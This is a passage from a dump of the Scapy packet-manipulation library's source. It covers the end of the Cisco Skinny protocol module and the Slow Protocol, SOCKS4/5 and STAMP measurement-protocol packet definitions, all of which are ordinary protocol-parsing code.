\"SkinnyMessageDropParticipantReq\",\n    0x013C: \"SkinnyMessageAuditConferenceReq\",\n    0x013D: \"SkinnyMessageAuditParticipantReq\",\n    0x013F: \"SkinnyMessageUserToDeviceDataVersion1\",\n}\n\nskinny_callstates = {\n    0x1: \"Off Hook\",\n    0x2: \"On Hook\",\n    0x3: \"Ring out\",\n    0xc: \"Proceeding\",\n}\n\n\nskinny_ring_type = {\n    0x1: \"Ring off\"\n}\n\nskinny_speaker_modes = {\n    0x1: \"Speaker on\",\n    0x2: \"Speaker off\"\n}\n\nskinny_lamp_mode = {\n    0x1: \"Off (?)\",\n    0x2: \"On\",\n}\n\nskinny_stimulus = {\n    0x9: \"Line\"\n}\n\n\n############\n#  Fields  #\n############\n\nclass SkinnyDateTimeField(StrFixedLenField):\n    def __init__(self, name, default):\n        StrFixedLenField.__init__(self, name, default, 32)\n\n    def m2i(self, pkt, s):\n        year, month, dow, day, hour, min, sec, millisecond = struct.unpack('<8I', s)  # noqa: E501\n        return (year, month, day, hour, min, sec)\n\n    def i2m(self, pkt, val):\n        if isinstance(val, str):\n            val = self.h2i(pkt, val)\n        tmp_lst = val[:2] + (0,) + val[2:7] + (0,)\n        return struct.pack('<8I', *tmp_lst)\n\n    def i2h(self, pkt, x):\n        if isinstance(x, str):\n            return x\n        else:\n            return time.ctime(time.mktime(x + (0, 0, 0)))\n\n    def i2repr(self, pkt, x):\n        return self.i2h(pkt, x)\n\n    def h2i(self, pkt, s):\n        t = ()\n        if isinstance(s, str):\n            t = time.strptime(s)\n            t = t[:2] + t[2:-3]\n        else:\n            if not s:\n                y, m, d, h, min, sec, rest, rest, rest = time.gmtime(time.time())  # noqa: E501\n                t = (y, m, d, h, min, sec)\n            else:\n                t = s\n        return t\n\n\n###########################\n#  Packet abstract class  #\n###########################\n\nclass SkinnyMessageGeneric(Packet):\n    name = 'Generic message'\n\n\nclass SkinnyMessageKeepAlive(Packet):\n    name = 'keep alive'\n\n\nclass SkinnyMessageKeepAliveAck(Packet):\n    name = 'keep alive ack'\n\n\nclass SkinnyMessageOffHook(Packet):\n    name = 'Off Hook'\n    fields_desc = [LEIntField(\"unknown1\", 0),\n                   LEIntField(\"unknown2\", 0), ]\n\n\nclass SkinnyMessageOnHook(SkinnyMessageOffHook):\n    name = 'On Hook'\n\n\nclass SkinnyMessageCallState(Packet):\n    name = 'Skinny Call state message'\n    fields_desc = [LEIntEnumField(\"state\", 1, skinny_callstates),\n                   LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0),\n                   LEIntField(\"unknown1\", 4),\n                   LEIntField(\"unknown2\", 0),\n                   LEIntField(\"unknown3\", 0)]\n\n\nclass SkinnyMessageSoftKeyEvent(Packet):\n    name = 'Soft Key Event'\n    fields_desc = [LEIntField(\"key\", 0),\n                   LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\nclass SkinnyMessageSetRinger(Packet):\n    name = 'Ring message'\n    fields_desc = [LEIntEnumField(\"ring\", 0x1, skinny_ring_type),\n                   LEIntField(\"unknown1\", 0),\n                   LEIntField(\"unknown2\", 0),\n                   LEIntField(\"unknown3\", 0)]\n\n\n_skinny_tones = {\n    0x21: 'Inside dial tone',\n    0x22: 'xxx',\n    0x23: 'xxx',\n    0x24: 'Alerting tone',\n    0x25: 'Reorder Tone'\n}\n\n\nclass SkinnyMessageStartTone(Packet):\n    name = 'Start tone'\n    fields_desc = [LEIntEnumField(\"tone\", 0x21, _skinny_tones),\n                   LEIntField(\"unknown1\", 0),\n                   LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\nclass SkinnyMessageStopTone(SkinnyMessageGeneric):\n    name = 'stop tone'\n    fields_desc = [LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\nclass SkinnyMessageSpeakerMode(Packet):\n    name = 'Speaker mdoe'\n    fields_desc = [LEIntEnumField(\"ring\", 0x1, skinny_speaker_modes)]\n\n\nclass SkinnyMessageSetLamp(Packet):\n    name = 'Lamp message (light of the phone)'\n    fields_desc = [LEIntEnumField(\"stimulus\", 0x5, skinny_stimulus),\n                   LEIntField(\"instance\", 1),\n                   LEIntEnumField(\"mode\", 2, skinny_lamp_mode)]\n\n\nclass SkinnyMessageStationSelectSoftKeysMessage(Packet):\n    name = 'Station Select Soft Keys Message'\n    fields_desc = [LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0),\n                   LEIntField(\"set\", 0),\n                   LEIntField(\"map\", 0xffff)]\n\n\nclass SkinnyMessagePromptStatus(Packet):\n    name = 'Prompt status'\n    fields_desc = [LEIntField(\"timeout\", 0),\n                   StrFixedLenField(\"text\", b\"\\0\" * 32, 32),\n                   LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\nclass SkinnyMessageCallPlane(Packet):\n    name = 'Activate/Deactivate Call Plane Message'\n    fields_desc = [LEIntField(\"instance\", 1)]\n\n\nclass SkinnyMessageTimeDate(Packet):\n    name = 'Setting date and time'\n    fields_desc = [SkinnyDateTimeField(\"settime\", None),\n                   LEIntField(\"timestamp\", 0)]\n\n\nclass SkinnyMessageClearPromptStatus(Packet):\n    name = 'clear prompt status'\n    fields_desc = [LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\nclass SkinnyMessageKeypadButton(Packet):\n    name = 'keypad button'\n    fields_desc = [LEIntField(\"key\", 0),\n                   LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\nclass SkinnyMessageDialedNumber(Packet):\n    name = 'dialed number'\n    fields_desc = [StrFixedLenField(\"number\", \"1337\", 24),\n                   LEIntField(\"instance\", 1),\n                   LEIntField(\"callid\", 0)]\n\n\n_skinny_message_callinfo_restrictions = ['CallerName', 'CallerNumber', 'CalledName', 'CalledNumber', 'OriginalCalledName', 'OriginalCalledNumber', 'LastRedirectName', 'LastRedirectNumber'] + ['Bit%d' % i for i in range(8, 15)]  # noqa: E501\n\n\nclass SkinnyMessageCallInfo(Packet):\n    name = 'call information'\n    fields_desc = [StrFixedLenField(\"callername\", \"Jean Valjean\", 40),\n                   StrFixedLenField(\"callernum\", \"1337\", 24),\n                   StrFixedLenField(\"calledname\", \"Causette\", 40),\n                   StrFixedLenField(\"callednum\", \"1034\", 24),\n                   LEIntField(\"lineinstance\", 1),\n                   LEIntField(\"callid\", 0),\n                   StrFixedLenField(\"originalcalledname\", \"Causette\", 40),\n                   StrFixedLenField(\"originalcallednum\", \"1034\", 24),\n                   StrFixedLenField(\"lastredirectingname\", \"Causette\", 40),\n                   StrFixedLenField(\"lastredirectingnum\", \"1034\", 24),\n                   LEIntField(\"originalredirectreason\", 0),\n                   LEIntField(\"lastredirectreason\", 0),\n                   StrFixedLenField('voicemailboxG', b'\\0' * 24, 24),\n                   StrFixedLenField('voicemailboxD', b'\\0' * 24, 24),\n                   StrFixedLenField('originalvoicemailboxD', b'\\0' * 24, 24),\n                   StrFixedLenField('lastvoicemailboxD', b'\\0' * 24, 24),\n                   LEIntField('security', 0),\n                   FlagsField('restriction', 0, 16, _skinny_message_callinfo_restrictions),  # noqa: E501\n                   LEIntField('unknown', 0)]\n\n\nclass SkinnyRateField(LEIntField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            x = 0\n        return '%d ms/pkt' % x\n\n\n_skinny_codecs = {\n    0x0: 'xxx',\n    0x1: 'xxx',\n    0x2: 'xxx',\n    0x3: 'xxx',\n    0x4: 'G711 ulaw 64k'\n}\n\n_skinny_echo = {\n    0x0: 'echo cancellation off',\n    0x1: 'echo cancellation on'\n}\n\n\nclass SkinnyMessageOpenReceiveChannel(Packet):\n    name = 'open receive channel'\n    fields_desc = [LEIntField('conference', 0),\n                   LEIntField('passthru', 0),\n                   SkinnyRateField('rate', 20),\n                   LEIntEnumField('codec', 4, _skinny_codecs),\n                   LEIntEnumField('echo', 0, _skinny_echo),\n                   LEIntField('unknown1', 0),\n                   LEIntField('callid', 0)]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\n_skinny_receive_channel_status = {\n    0x0: 'ok',\n    0x1: 'ko'\n}\n\n\nclass SkinnyMessageOpenReceiveChannelAck(Packet):\n    name = 'open receive channel'\n    fields_desc = [LEIntEnumField('status', 0, _skinny_receive_channel_status),\n                   IPField('remote', '0.0.0.0'),\n                   LEIntField('port', RandShort()),\n                   LEIntField('passthru', 0),\n                   LEIntField('callid', 0)]\n\n\n_skinny_silence = {\n    0x0: 'silence suppression off',\n    0x1: 'silence suppression on',\n}\n\n\nclass SkinnyFramePerPacketField(LEIntField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            x = 0\n        return '%d frames/pkt' % x\n\n\nclass SkinnyMessageStartMediaTransmission(Packet):\n    name = 'start multimedia transmission'\n    fields_desc = [LEIntField('conference', 0),\n                   LEIntField('passthru', 0),\n                   IPField('remote', '0.0.0.0'),\n                   LEIntField('port', RandShort()),\n                   SkinnyRateField('rate', 20),\n                   LEIntEnumField('codec', 4, _skinny_codecs),\n                   LEIntField('precedence', 200),\n                   LEIntEnumField('silence', 0, _skinny_silence),\n                   SkinnyFramePerPacketField('maxframes', 0),\n                   LEIntField('unknown1', 0),\n                   LEIntField('callid', 0)]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass SkinnyMessageCloseReceiveChannel(Packet):\n    name = 'close receive channel'\n    fields_desc = [LEIntField('conference', 0),\n                   LEIntField('passthru', 0),\n                   IPField('remote', '0.0.0.0'),\n                   LEIntField('port', RandShort()),\n                   SkinnyRateField('rate', 20),\n                   LEIntEnumField('codec', 4, _skinny_codecs),\n                   LEIntField('precedence', 200),\n                   LEIntEnumField('silence', 0, _skinny_silence),\n                   LEIntField('callid', 0)]\n\n\nclass SkinnyMessageStopMultiMediaTransmission(Packet):\n    name = 'stop multimedia transmission'\n    fields_desc = [LEIntField('conference', 0),\n                   LEIntField('passthru', 0),\n                   LEIntField('callid', 0)]\n\n\nclass Skinny(Packet):\n    name = \"Skinny\"\n    fields_desc = [LEIntField(\"len\", None),\n                   LEIntField(\"res\", 0),\n                   LEIntEnumField(\"msg\", 0, skinny_messages_cls)]\n\n    def post_build(self, pkt, p):\n        if self.len is None:\n            # on compte pas les headers len et reserved\n            tmp_len = len(p) + len(pkt) - 8\n            pkt = struct.pack('@I', tmp_len) + pkt[4:]\n        return pkt + p\n\n# An helper\n\n\ndef get_cls(name, fallback_cls):\n    return globals().get(name, fallback_cls)\n    # return __builtin__.__dict__.get(name, fallback_cls)\n\n\nfor msgid, strcls in skinny_messages_cls.items():\n    cls = get_cls(strcls, SkinnyMessageGeneric)\n    bind_layers(Skinny, cls, {\"msg\": msgid})\n\nbind_layers(TCP, Skinny, {\"dport\": 2000})\nbind_layers(TCP, Skinny, {\"sport\": 2000})\n\nif __name__ == \"__main__\":\n    from scapy.main import interact\n    interact(mydict=globals(), mybanner=\"Welcome to Skinny add-on\")\n"
  },
  {
    "path": "scapy/contrib/slowprot.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Slow Protocol\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField\nfrom scapy.layers.l2 import Ether\nfrom scapy.data import ETHER_TYPES\n\n\nETHER_TYPES[0x8809] = 'SlowProtocol'\nSLOW_SUB_TYPES = {\n    'Unused': 0,\n    'LACP': 1,\n    'Marker Protocol': 2,\n    'OAM': 3,\n    'OSSP': 10,\n}\n\n\nclass SlowProtocol(Packet):\n    name = \"SlowProtocol\"\n    fields_desc = [ByteEnumField(\"subtype\", 0, SLOW_SUB_TYPES)]\n\n\nbind_layers(Ether, SlowProtocol, type=0x8809, dst='01:80:c2:00:00:02')\n"
  },
  {
    "path": "scapy/contrib/socks.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Socket Secure (SOCKS)\n# scapy.contrib.status = loads\n\n\"\"\"SOCKS4/5 Protocol\n\nYou can change the server ports that are used in the SOCKS layer by editing.\nconf.contribs['socks']['serverports']\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.error import warning\nfrom scapy.layers.dns import DNSStrField\nfrom scapy.layers.inet import TCP, UDP\nfrom scapy.layers.inet6 import IP6Field\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    IPField,\n    MultipleTypeField,\n    ShortField,\n    StrField,\n    StrNullField,\n)\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\n\n# TODO: support the 3 different authentication exchange procedures for SOCKS5  # noqa: E501\n# 1 - Plain (https://tools.ietf.org/html/rfc1928 - 3.Procedure for TCP-based clients)  # noqa: E501\n# 2 - Username/password (https://tools.ietf.org/html/rfc1929)\n# 3 - GSS-API (https://tools.ietf.org/html/rfc1961)\n\nconf.contribs.setdefault('socks', {})\nconf.contribs['socks'].setdefault('serverports', [1080])\n\n\nclass SOCKS(Packet):\n    fields_desc = [\n        ByteEnumField(\"vn\", 0x5,\n                      {0x4: \"v4 - Request\", 0x0: \"v4 - Reply\", 0x5: \"v5\"}),\n    ]\n\n    def guess_payload_class(self, pkt):\n        d_port = s_port = True\n        if self.underlayer and isinstance(self.underlayer, TCP):\n            ports = conf.contribs['socks']['serverports']\n            d_port = self.underlayer.dport in ports\n            s_port = self.underlayer.sport in ports\n        if self.vn == 0x5:\n            if d_port:\n                return SOCKS5Request\n            elif s_port:\n                return SOCKS5Reply\n        elif self.vn == 0x4:\n            if d_port:\n                return SOCKS4Request\n        elif self.vn == 0x0:\n            if s_port:\n                return SOCKS4Reply\n        warning(\"No TCP underlayer, or dport/sport not in \"\n                \"conf.contribs['socks']['serverports']. \"\n                \"Assuming a SOCKS v5 request layer\")\n        return SOCKS5Request\n\n    def add_payload(self, payload):\n        if self.underlayer and isinstance(self.underlayer, TCP):\n            if isinstance(payload, (SOCKS5Request, SOCKS4Request)):\n                self.underlayer.dport = 1080\n                self.underlayer.sport = 1081\n            elif isinstance(payload, (SOCKS5Reply, SOCKS4Reply)):\n                self.underlayer.sport = 1080\n                self.underlayer.dport = 1081\n        Packet.add_payload(self, payload)\n\n\nbind_bottom_up(TCP, SOCKS, sport=1080)\nbind_bottom_up(TCP, SOCKS, dport=1080)\n\n# SOCKS v4\n\n_socks4_cd_request = {\n    1: \"Connect\",\n    2: \"Bind\"\n}\n\n\nclass SOCKS4Request(Packet):\n    name = \"SOCKS 4 - Request\"\n    overload_fields = {SOCKS: {\"vn\": 0x4}}\n    fields_desc = [\n        ByteEnumField(\"cd\", 1, _socks4_cd_request),\n        ShortField(\"dstport\", 80),\n        IPField(\"dst\", \"0.0.0.0\"),\n        StrNullField(\"userid\", \"\"),\n    ]\n\n\n_socks4_cd_reply = {\n    90: \"Request granted\",\n    91: \"Request rejected\",\n    92: \"Request rejected - SOCKS server cannot connect to identd\",\n    93: \"Request rejected - user-ids mismatch\"\n}\n\n\nclass SOCKS4Reply(Packet):\n    name = \"SOCKS 4 - Reply\"\n    overload_fields = {SOCKS: {\"vn\": 0x0}}\n    fields_desc = [\n        ByteEnumField(\"cd\", 90, _socks4_cd_reply),\n    ] + SOCKS4Request.fields_desc[1:-2]  # Reuse dstport, dst and userid\n\n# SOCKS v5 - TCP\n\n\n_socks5_cdtypes = {\n    1: \"Connect\",\n    2: \"Bind\",\n    3: \"UDP associate\",\n}\n\n\nclass SOCKS5Request(Packet):\n    name = \"SOCKS 5 - Request\"\n    overload_fields = {SOCKS: {\"vn\": 0x5}}\n    fields_desc = [\n        ByteEnumField(\"cd\", 0x0, _socks5_cdtypes),\n        ByteField(\"res\", 0),\n        ByteEnumField(\"atyp\", 0x1,\n                      {0x1: \"IPv4\", 0x3: \"DomainName\", 0x4: \"IPv6\"}),\n        MultipleTypeField(\n            [\n                # IPv4\n                (IPField(\"addr\", \"0.0.0.0\"), lambda pkt: pkt.atyp == 0x1),\n                # DNS\n                (DNSStrField(\"addr\", \"\"), lambda pkt: pkt.atyp == 0x3),\n                # IPv6\n                (IP6Field(\"addr\", \"::\"), lambda pkt: pkt.atyp == 0x4),\n            ],\n            StrField(\"addr\", \"\")\n        ),\n        ShortField(\"port\", 80),\n    ]\n\n\n_socks5_rep = {\n    0: \"succeeded\",\n    1: \"general server failure\",\n    2: \"connection not allowed by ruleset\",\n    3: \"network unreachable\",\n    4: \"host unreachable\",\n    5: \"connection refused\",\n    6: \"TTL expired\",\n    7: \"command not supported\",\n    8: \"address type not supported\",\n}\n\n\nclass SOCKS5Reply(Packet):\n    name = \"SOCKS 5 - Reply\"\n    overload_fields = {SOCKS: {\"vn\": 0x5}}\n    # All fields are the same except the first one\n    fields_desc = [\n        ByteEnumField(\"rep\", 0x0, _socks5_rep),\n    ] + SOCKS5Request.fields_desc[1:]\n\n\n# SOCKS v5 - UDP\n\nclass SOCKS5UDP(Packet):\n    name = \"SOCKS 5 - UDP Header\"\n    fields_desc = [\n        ShortField(\"res\", 0),\n        ByteField(\"frag\", 0),\n    ] + SOCKS5Request.fields_desc[2:]  # Reuse the atyp, addr and port fields\n\n    def guess_payload_class(self, s):\n        if self.port == 0:\n            return conf.raw_layer\n        return UDP(sport=self.port, dport=self.port).guess_payload_class(None)\n\n\nbind_bottom_up(UDP, SOCKS5UDP, sport=1080)\nbind_bottom_up(UDP, SOCKS5UDP, sport=1080)\nbind_layers(UDP, SOCKS5UDP, sport=1080, dport=1080)\n"
  },
  {
    "path": "scapy/contrib/stamp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Carmine Scarpitta <carmine.scarpitta@uniroma2.it>\n\n# scapy.contrib.description = Simple Two-Way Active Measurement Protocol (STAMP)\n# scapy.contrib.status = loads\n\n\"\"\"\nSTAMP (Simple Two-Way Active Measurement Protocol) - RFC 8762.\n\nReferences:\n    * `Simple Two-Way Active Measurement Protocol [RFC 8762]\n      <https://www.rfc-editor.org/rfc/rfc8762.html>`_\n    * `Simple Two-Way Active Measurement Protocol Optional Extensions [RFC 8972]\n      <https://www.rfc-editor.org/rfc/rfc8972.html>`_\n\"\"\"\n\nfrom scapy import config\nfrom scapy.base_classes import Packet_metaclass\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.ntp import TimeStampField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitEnumField,\n    BitField,\n    ByteEnumField,\n    ByteField,\n    FlagsField,\n    IntField,\n    MultipleTypeField,\n    NBytesField,\n    PacketField,\n    PacketListField,\n    ShortField,\n    StrLenField,\n    UTCTimeField\n)\n\n\n_sync_types = {\n    0: 'No External Synchronization for the Time Source',\n    1: 'Clock Synchronized to UTC using an External Source'\n}\n\n_timestamp_types = {\n    0: 'NTP 64-bit Timestamp Format',\n    1: 'PTPv2 Truncated Timestamp Format'\n}\n\n_stamp_tlvs = {\n\n}\n\n\nclass ErrorEstimate(Packet):\n    \"\"\"\n    The Error Estimate specifies the estimate of the error and\n    synchronization. The format of the Error Estimate field\n    (defined in Section 4.1.2 of `RFC 4656\n    <https://www.rfc-editor.org/rfc/rfc4656.html>`_) is reported below::\n\n        0                   1\n        0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |S|Z|   Scale   |   Multiplier  |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    ``S`` is interpreted as follows:\n\n        +-------+-------------------------------------------------------+\n        | Value | Description                                           |\n        +-------+-------------------------------------------------------+\n        |   0   | there is no notion of external synchronization for    |\n        |       | the time source                                       |\n        +-------+-------------------------------------------------------+\n        |   1   | the party generating the timestamp has a clock that   |\n        |       | is synchronized to UTC using an external source       |\n        +-------+-------------------------------------------------------+\n\n    ``Z`` is interpreted as follows (defined in Section 2.3 of `RFC 8186\n    <https://www.rfc-editor.org/rfc/rfc8186.html>`_):\n\n        +-------+---------------------------------------+\n        | Value | Description                           |\n        +-------+---------------------------------------+\n        |   0   | NTP 64-bit format of a timestamp      |\n        +-------+---------------------------------------+\n        |   1   | PTPv2 truncated format of a timestamp |\n        +-------+---------------------------------------+\n\n    ``Scale`` and ``Multiplier`` are linked by the following relationship::\n\n        ErrorEstimate = Multiplier*2^(-32)*2^Scale (in seconds)\n\n\n    References:\n        * `A One-way Active Measurement Protocol (OWAMP) [RFC 4656]\n          <https://www.rfc-editor.org/rfc/rfc4656.html>`_\n        * `Support of the IEEE 1588 Timestamp Format in a Two-Way Active\n          Measurement Protocol (TWAMP) [RFC 8186]\n          <https://www.rfc-editor.org/rfc/rfc8186.html>`_\n    \"\"\"\n\n    name = 'Error Estimate'\n    fields_desc = [\n        BitEnumField('S', 0, 1, _sync_types),\n        BitEnumField('Z', 0, 1, _timestamp_types),\n        BitField('scale', 0, 6),\n        ByteField('multiplier', 1),\n    ]\n\n    def guess_payload_class(self, payload):\n        # type: (str) -> Packet_metaclass\n        # Trick to tell scapy that the remaining bytes of the currently\n        # dissected string is not a payload of this packet but of some other\n        # underlayer packet\n        return config.conf.padding_layer\n\n\nclass STAMPTestTLV(Packet):\n    \"\"\"\n    The STAMP Test TLV defined in Section 4 of [RFC 8972] provides a flexible\n    extension mechanism for optional informational elements.\n\n    The TLV Format in a STAMP Test packet is reported below::\n\n         0                   1                   2                   3\n         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |STAMP TLV Flags|     Type      |           Length              |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        ~                            Value                              ~\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n\n    +-------+---------+-------------------------------------------------+\n    | Field           | Description                                     |\n    +-----------------+-------------------------------------------------+\n    | STAMP TLV Flags | 8-bit field; for the details about the STAMP    |\n    |                 | TLV Flags Format, see RFC 8972                  |\n    +-----------------+-------------------------------------------------+\n    | Type            | characterizes the interpretation of the Value   |\n    |                 | field                                           |\n    +-----------------+-------------------------------------------------+\n    | Length          | the length of the Value field in octets         |\n    +-----------------+-------------------------------------------------+\n    | Value           | interpreted according to the value of the Type  |\n    |                 | field                                           |\n    +-----------------+-------------------------------------------------+\n\n\n    References:\n        * `Simple Two-Way Active Measurement Protocol Optional Extensions\n          [RFC 8972] <https://www.rfc-editor.org/rfc/rfc8972.html>`_\n    \"\"\"\n\n    name = 'STAMP Test Packet - Generic TLV'\n    fields_desc = [\n        FlagsField('flags', 0, 8, \"UMIRRRRR\"),\n        ByteEnumField('type', None, _stamp_tlvs),\n        ShortField('len', 0),\n        StrLenField('value', '', length_from=lambda pkt: pkt.len),\n    ]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n    registered_stamp_tlv = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_stamp_tlv[cls.type.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, pkt=None, *args, **kargs):\n        if pkt:\n            tmp_type = ord(pkt[1:2])\n            return cls.registered_stamp_tlv.get(tmp_type, cls)\n        return cls\n\n\nclass STAMPSessionSenderTestUnauthenticated(Packet):\n    \"\"\"\n    Extended STAMP Session-Sender Test Packet in Unauthenticated Mode.\n\n    The format (defined in Section 3 of `RFC 8972\n    <https://www.rfc-editor.org/rfc/rfc8972.html>`_) is shown below::\n\n         0                   1                   2                   3\n         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                        Sequence Number                        |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                          Timestamp                            |\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |         Error Estimate        |             SSID              |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                                                               |\n        |                                                               |\n        |                         MBZ (28 octets)                       |\n        |                                                               |\n        |                                                               |\n        |                                                               |\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        ~                            TLVs                               ~\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    References:\n        * `Simple Two-Way Active Measurement Protocol Optional Extensions\n          [RFC 8972] <https://www.rfc-editor.org/rfc/rfc8972.html>`_\n    \"\"\"\n    name = 'STAMP Session-Sender Test'\n    fields_desc = [\n        IntField('seq', 0),\n        MultipleTypeField(\n            [\n                (TimeStampField('ts', 0),\n                    lambda pkt:pkt.err_estimate.Z == 0)\n            ],\n            UTCTimeField('ts', 0, fmt='Q')\n        ),\n        PacketField('err_estimate', ErrorEstimate(), ErrorEstimate),\n        ShortField('ssid', 1),\n        NBytesField('mbz', 0, 28),  # 28 bytes MBZ\n        PacketListField('tlv_objects', [], STAMPTestTLV),\n    ]\n\n\nclass STAMPSessionReflectorTestUnauthenticated(Packet):\n    \"\"\"\n    Extended STAMP Session-Reflector Test Packet in Unauthenticated Mode.\n\n    The format (defined in Section 3 of `RFC 8972\n    <https://www.rfc-editor.org/rfc/rfc8972.html>`_) is shown below::\n\n         0                   1                   2                   3\n         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                        Sequence Number                        |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                          Timestamp                            |\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |         Error Estimate        |           SSID                |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                          Receive Timestamp                    |\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                 Session-Sender Sequence Number                |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |                  Session-Sender Timestamp                     |\n        |                                                               |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        | Session-Sender Error Estimate |           MBZ                 |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        |Ses-Sender TTL |                   MBZ                         |\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n        ~                            TLVs                               ~\n        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n    References:\n        * `Simple Two-Way Active Measurement Protocol Optional Extensions\n          [RFC 8972] <https://www.rfc-editor.org/rfc/rfc8972.html>`_\n    \"\"\"\n    name = 'STAMP Session-Reflector Test'\n    fields_desc = [\n        IntField('seq', 0),\n        MultipleTypeField(\n            [\n                (TimeStampField('ts', 0),\n                    lambda pkt:pkt.err_estimate.Z == 0),\n            ],\n            UTCTimeField('ts', 0, fmt='Q')\n        ),\n        PacketField('err_estimate', ErrorEstimate(), ErrorEstimate),\n        ShortField('ssid', 1),\n        MultipleTypeField(\n            [\n                (TimeStampField('ts_rx', 0),\n                    lambda pkt:pkt.err_estimate.Z == 0)\n            ],\n            UTCTimeField('ts_rx', 0, fmt='Q')\n        ),\n        IntField('seq_sender', 0),\n        MultipleTypeField(\n            [\n                (TimeStampField('ts_sender', 0),\n                    lambda pkt:pkt.err_estimate_sender.Z == 0)\n            ],\n            UTCTimeField('ts_sender', 0, fmt='Q')\n        ),\n        PacketField('err_estimate_sender', ErrorEstimate(), ErrorEstimate),\n        ShortField('mbz1', 0),\n        ByteField('ttl_sender', 255),\n        NBytesField('mbz2', 0, 3),  # 3 bytes MBZ\n        PacketListField('tlv_objects', [], STAMPTestTLV),\n    ]\n\n\nbind_layers(UDP, STAMPSessionSenderTestUnauthenticated, dport=862)\nbind_layers(UDP, STAMPSessionReflectorTestUnauthenticated, sport=862)\n"
  },
  {
    "path": "scapy/contrib/stun.py",
